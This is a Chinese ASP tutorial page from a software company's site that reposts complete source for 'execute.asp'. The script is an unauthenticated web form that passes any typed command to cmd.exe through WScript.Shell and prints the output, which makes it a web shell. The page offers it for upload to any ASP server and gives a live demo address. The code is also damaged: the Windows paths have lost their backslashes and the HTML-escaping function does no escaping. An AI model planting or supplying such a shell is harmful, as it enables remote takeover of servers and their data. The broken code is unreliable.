优秀的软件开发团队:深圳升蓝软件 数据库开发 .Net技术  |  ASP技术 PHP技术 JSP技术 应用技术类     
热门推荐
升蓝OA办公自动化系统
基于.Net技术的网络
协同办公环境
 
ASP基础
数据库相关
安全加密
全文检索
ASP应用
打印相关
客户端相关
XML相关
系统相关
正则表达式
ASP技巧
组件开发
脚本编码
FSO专题
邮件相关
远程脚本
性能优化
 
相关链接
深圳升蓝软件:系统集成、办公自动化平台、电子商务、电子政务、Web数据库、企业网站、游戏、手机应用程序、CDMA软件、电子出版物等,为客户提供优秀的解决方案
 
升蓝(www.hi-blue.com)为企业管理、政府办公提供成熟的、易于实施的IT技术服务,我们的解决方案包括OA办公自动化系统CRM客户关系管理系统ERP企业生产管理和订单管理系统电子政务系统、知识管理系统、企业门户、商业智能、工程项目管理等等...
 
电子政务解决方案
塑料/橡胶管理系统
知识管理系统简介
多媒体光盘方案
ERP企业资源管理
订单计划管理系统
PM工程项目管理系统
会员管理系统
相关资料下载
OA办公自动化系统
CRM客户关系管理系统
在线试用版本说明
OA 系统的用户手册
 
 
 
 
升蓝开发团队 > 技术资料 > ASP技术 > 系统相关 : 可以执行系统命令的ASP原码放送

可以执行系统命令的ASP原码放送


March 25,2004
    最近正在写一个远程服务器管理的东东(借鉴了ASE的部分代码、增加了远程

执行命令、上传、服务等功能。),得到了阿新、ADAM、辰儿、ghost_happy、

crazybird等很多网友的帮助,让我很感动,所以我打算写好了以后,全部原代码

公布,可以自由修改和散布。你所要做的只是上传程序到一个支持ASP的服务器。

值得注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的

原代码。copy下来另存为execute.asp.

演示地址:http://210.160.4.24/scripts/execute.asp
一台日本的烂机,所以中文会出现乱码!

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
  <p align="left">输入要执行的命令:<input type="text" name="ml"

size="20" value="dir c:" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1">
  <input type="submit" value="执行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>  
</form>  
<%  
ml=request.form("ml")  
cmd="c:winntsystem32cmd.exe /c "&ml&" >c:whoamI.txt" '修改

whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")  
RetCode = WShShell.Run(cmd, 1, True)  
if RetCode = 0 Then  
    Response.write ml & " "
    Response.write " 命令成功执行!"&"<br><br>"  
else  
   Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行

!"&"<br><br>"  

end if  
'response.write cmd  
                  
function htmlencode(str)  
dim result  
dim l  
if isNULL(str) then   
htmlencode=""  
exit function  
end if  
l=len(str)  
result=""  
    dim i  
    for i = 1 to l  
     select case mid(str,i,1)  
     case "<"  
     result=result+"<"  
     case ">"  
     result=result+">"  
     case chr(34)  
     result=result+"""  
     case "&"  
     result=result+"&"  
     case else  
     result=result+mid(str,i,1)  
end select  
next   
htmlencode=result  
end function  
Set fs =CreateObject("Scripting.FileSystemObject")  
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件,别忘

了修改路径.
counter=0  
do while not thisfile.atendofstream  
counter=counter+1  
thisline=htmlencode(thisfile.readline)  
response.write thisline&"<br>"  
loop  
thisfile.Close  
set fs=nothing  
%>  
  
</body>  
  
</html>  

请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。

whoamI写于2001.2.1 转载请保持文章完整性,谢谢!
       
数据库开发 | .Net技术 | ASP技术 | PHP技术 | JSP技术 | 应用技术类 | 升蓝开发小组
Copyright ? 2001-2004 Shenzhen Hi-blue Software Team 升蓝开发小组 All rights reserved